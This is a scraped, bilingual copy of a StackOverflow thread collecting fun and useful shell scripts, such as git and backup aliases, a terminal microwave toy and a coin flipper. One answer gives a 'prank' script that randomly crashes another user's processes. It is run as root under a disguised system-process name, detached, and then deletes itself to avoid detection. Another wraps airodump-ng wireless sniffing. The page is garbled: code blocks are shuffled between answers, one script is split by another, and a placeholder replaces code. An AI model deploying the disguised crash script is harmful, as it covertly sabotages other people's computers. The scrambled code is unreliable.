bash 有哪些有趣的 shell 脚本?

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/4083834/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-09-09 19:50:08  来源:igfitidea点击:

What are some interesting shell scripts?

bashshellpowershell

提问by Andrew

I like the idea of being able to automate my computer with shell scripts but I'm at a loss for what I could actually do.

我喜欢能够使用 shell 脚本自动化我的计算机的想法,但我对我实际上可以做什么感到茫然。

Do you use or have you seen shell scripts used in a novel way, either on a server, personal computer, netbook, etc.?

您是否在服务器、个人计算机、上网本等上使用或见过以新颖方式使用的 shell 脚本?

Some examples I was thinking of:

我想到的一些例子:

  • Optimize battery life:shutting down services, modifying brightness, closing programs that might be left open but are unneccessary, etc
  • Create workspace profiles:open a set of applications and perform actions for school, work, etc.
  • Pranks on other people's computers:some that you found interesting... :)
  • 优化电池寿命:关闭服务、修改亮度、关闭可能保持打开但不必要的程序等
  • 创建工作区配置文件:打开一组应用程序并执行学校、工作等操作。
  • 在其他人的电脑上恶作剧:一些你觉得有趣的...... :)

Really interested to find out what you might have to share, thanks!

真的很想知道你可能需要分享什么,谢谢!

回答by sorpigal

Here's a fun prank

这是一个有趣的恶作剧

#!/bin/bash
user=
while true ; do
    kill -SEGV $(ps -u $user -o pid= | random | tail -n 1)
    sleep $RANDOM
done

Every few minutes a program owned by $user will segfault. Best if run as root and given an innocent name, but running it as $user works as well. Save the script as e.g. "xterm" or "kded" or "gnome-session", chmod a+x the script, and then invoke it like this:

$user 拥有的程序每隔几分钟就会出现段错误。最好以 root 身份运行并给出一个无辜的名字,但以 $user 身份运行它也可以。将脚本保存为例如“xterm”或“kded”或“gnome-session”,chmod a+x 脚本,然后像这样调用它:

$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname

This will teach your friends not to leave their systems unlocked. This implementation uses random from bsdgames, but you could do the selection another way.

这将教会您的朋友不要让他们的系统处于解锁状态。此实现使用来自 bsdgames 的随机数,但您可以通过另一种方式进行选择。

回答by chrisaycock

To keep all my Git repositories up-to-date:

要使我的所有 Git 存储库保持最新:

alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)'

To backup my computer to a remote space:

要将我的计算机备份到远程空间:

alias backup='rsync -av ~/Documents [email protected]: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"'

回答by Wayne Werner

I've got a few that I have used/do use regularly.

我有一些我经常使用/经常使用的。

One was a script took two parameters - a .cpp file and and output file. It would then compile the file and launch the code - really useful for programming C++ code at school. I also wrote one for assembler that would compile, link, and load.

一个是带有两个参数的脚本 - 一个 .cpp 文件和输出文件。然后它会编译文件并启动代码——这对于在学校编程 C++ 代码非常有用。我还为汇编程序编写了一个可以编译、链接和加载的程序。

I've got others that control screen brightness, launch various programs with specific settings (mainly cd to a directory)... I think the one that I used most often was my new.c++script that created a text file with my name, class info, #includes, and more, and started up vim editing the file. It was super useful.

我还有其他人可以控制屏幕亮度,使用特定设置启动各种程序(主要是 cd 到目录)......我认为我最常使用的是我的new.c++脚本,它创建了一个带有我的名字、类信息的文本文件,#includes 等,然后启动 vim 编辑文件。它非常有用。

Nothing silly, just some good, useful stuff

没什么傻的,只是一些好的,有用的东西

回答by Reese Moore

I think of shell scripts as shortcuts. They are something that you do often enough that having to type out the commands every time is a waste of time. Even short little scripts that prevent you from having to remember long argument lists can be useful if you have to call them more than a few times.

我认为 shell 脚本是快捷方式。它们是您经常做的事情,以至于每次都必须输入命令是浪费时间。如果您必须多次调用它们,即使是让您不必记住长参数列表的简短脚本也很有用。

For instance, I often have to do passive monitor mode wireless sniffing through airodump-ng. To that end, I threw this together quickly:

例如,我经常需要通过 airodump-ng 进行被动监听模式无线嗅探。为此,我迅速将其放在一起:

#!/bin/bash

# Make sure we're running as root
if [[ $EUID -ne 0 ]]
then
    echo "This script must be run as root" 1>&2
    exit 1
fi

# Make sure there is an argument 1
if [[ $# -ne 1 ]]
then
    echo "Usage: `basename 
#!/bin/bash

clear
echo "What would you like to microwave?"
echo " "
echo "1) Pizza 2) Ramen 3) Hot Dog"
echo "4) S'mores       5) Tin Foil"
echo " "
read -p ">> " ans
case $ans in
  1)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "|| <] ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "|| <] ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  2)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "||[~~]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "||[~~]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  3)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "|| [|]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "|| [|]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  4)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "|| == ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "|| == ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  5)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "||<^><||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "||<^><||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "||<^><||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..25}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "||<^><||++|"
    echo "|'----'|__|"
    beep -f 50 -l 5 -d 0 -r 100
    ((tmr--))
   done
   clear
   echo "    .   _"
   echo "   23vxxas"
   echo " >553eSD34|"
   echo "|XFDADSff3|"
   echo ""
   echo "Oh no! You blew up the microwave!"
   freq=1000
   for run in {1000..200}
   do
    beep -f $freq -l 1
    ((freq--))
   done
   exit
   ;&
esac
` <fileprefix>" exit 65 fi # Set up the monitor interface airmon-ng start wlan0 # Start Sniffing with the prefix airodump-ng -w -t OPN --output-format pcap mon0 # Tear down the monitor interface airmon-ng stop mon0

Though it should be noted that as a shell script increases in complexity, you should probably begin to consider rewriting it in a more robust language. This should be done before that simple shell script becomes some mission critical monster that is unmanageable and filled with bugs, but which everything depends on.

尽管应该注意,随着 shell 脚本的复杂性增加,您可能应该开始考虑用更健壮的语言重写它。这应该在那个简单的 shell 脚本变成一些无法管理且充满错误的任务关键型怪物之前完成,但这一切都取决于。

回答by Scott zuz22 Blacklock

I made a couple. Here's a fake microwave for your Terminal:

我做了一对。这是适用于您的终端的假微波炉:

#!/bin/bash

clear
echo "Flipping a coin..."
echo ""
echo "         _"
sleep 0.2
clear
echo "Flipping a coin..."
echo "         _"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         \"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         -"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         /"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         -"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo ""
echo "         \"
sleep 0.2
clear
echo "Flipping a coin..."
echo ""
echo "         _"
sleep 2
clear
echo "The coin says..."
BINR=$(( ( RANDOM % 2 )  + 0 ))
if [ $BINR == 1 ]
then
AYS="HEADS"
fi
if [ $BINR == 0 ]
then
AYS="TAILS"
fi
sleep 2
echo "     _____ "
echo "    /"$AYS"\"
echo "    \_____/"
echo "    \|||||/"
beep -f $((( RANDOM % 1000 )+ 300)) -d 0 -l 500

and a "coin flipper".

和“硬币翻转器”。

some_project_test_suite

both of these require you've installed "beep". If your distro supports it, then install it with apt-get install beepor apt install beep.

这两个都需要你已经安装了“beep”。如果您的发行版支持它,请使用apt-get install beep或安装它apt install beep

回答by Michael Aaron Safyan

Yes. I use and create scripts all the time to automate various work tasks. An example invocation:

是的。我一直使用和创建脚本来自动化各种工作任务。一个示例调用:

#! /bin/bash
cd path/to/folder/containing/some_project
path/to/build/system/binary test_target1 \
                            test_target2 \
                            ...
                            test_targetN

Which is a script that cd's into the folder where I store some_project, and then runs a battery of different tests in that folder which would be painful to type on the commandline over and over again.

这是一个脚本,它 cd 到我存储 some_project 的文件夹中,然后在该文件夹中运行一系列不同的测试,在命令行上一遍又一遍地键入会很痛苦。

A script like that might be very simple and look something like:

像这样的脚本可能非常简单,看起来像:

##代码##

That said, I'm not sure I would exactly call this novel. Automation should be fairly routine.

也就是说,我不确定我会确切地称这本小说为。自动化应该是相当常规的。

回答by Brian Clements

If you are using a desktop that uses dbus (gnome, for example), then this article might interest you.

如果您使用的是使用 dbus(例如 gnome)的桌面,那么您可能会对本文感兴趣。

http://www.linuxjournal.com/article/7744

http://www.linuxjournal.com/article/7744

Some of the examples are for power management. I used a dbus script to automatically update my pidgin status message with random quotes. I'm sure there are plenty of pranks you could pull with dbus and cron.

一些示例用于电源管理。我使用了一个 dbus 脚本来自动更新我的带有随机引号的 pidgin 状态消息。我敢肯定,您可以使用 dbus 和 cron 进行大量恶作剧。

回答by Brian Clements

It's also handy for testing multiple values/things on certain programs. If your in school and have that kinda stuff to do like I do at least ^_^

在某些程序上测试多个值/事物也很方便。如果你在学校并且有那种事情要做,至少像我一样^_^

回答by Boldewyn

You can multiply the possible use cases with tools like zenity, that offer widget primitives to shell scripts.

您可以使用zenity 等工具增加可能的用例,这些工具为 shell 脚本提供小部件原语。

With that help, I made a management script for our laptop, that allows control of our desktop computer:

在这个帮助下,我为我们的笔记本电脑制作了一个管理脚本,它允许控制我们的台式电脑:

  • Wake-on-LAN, if it seems offline
  • mounting my home directory there via SSHFS
  • starting a backup
  • ...
  • 局域网唤醒,如果它看起来离线
  • 通过 SSHFS 挂载我的主目录
  • 开始备份
  • ...

and the nice side effect is, that because of zenity my other family members can use the script as well.

好的副作用是,由于 zenity,我的其他家庭成员也可以使用该脚本。

回答by kmarks2

On my netbook I wrote some a bash script that was called at boot time and periodically once the computer was on. It would mount my remote filesystem if an internet connection was available. This involved inspecting my network interfaces and mounting the remote filesystem with an excellent piece of software called sshfs. It was really nice -- if my netbook croaked, my remote RAIDed data was still sitting pretty.

在我的上网本上,我编写了一些 bash 脚本,该脚本在启动时调用,并在计算机开机后定期调用。如果互联网连接可用,它将挂载我的远程文件系统。这包括检查我的网络接口并使用名为 sshfs 的优秀软件安装远程文件系统。这真的很好——如果我的上网本发出嘶嘶声,我的远程 RAIDed 数据仍然很好。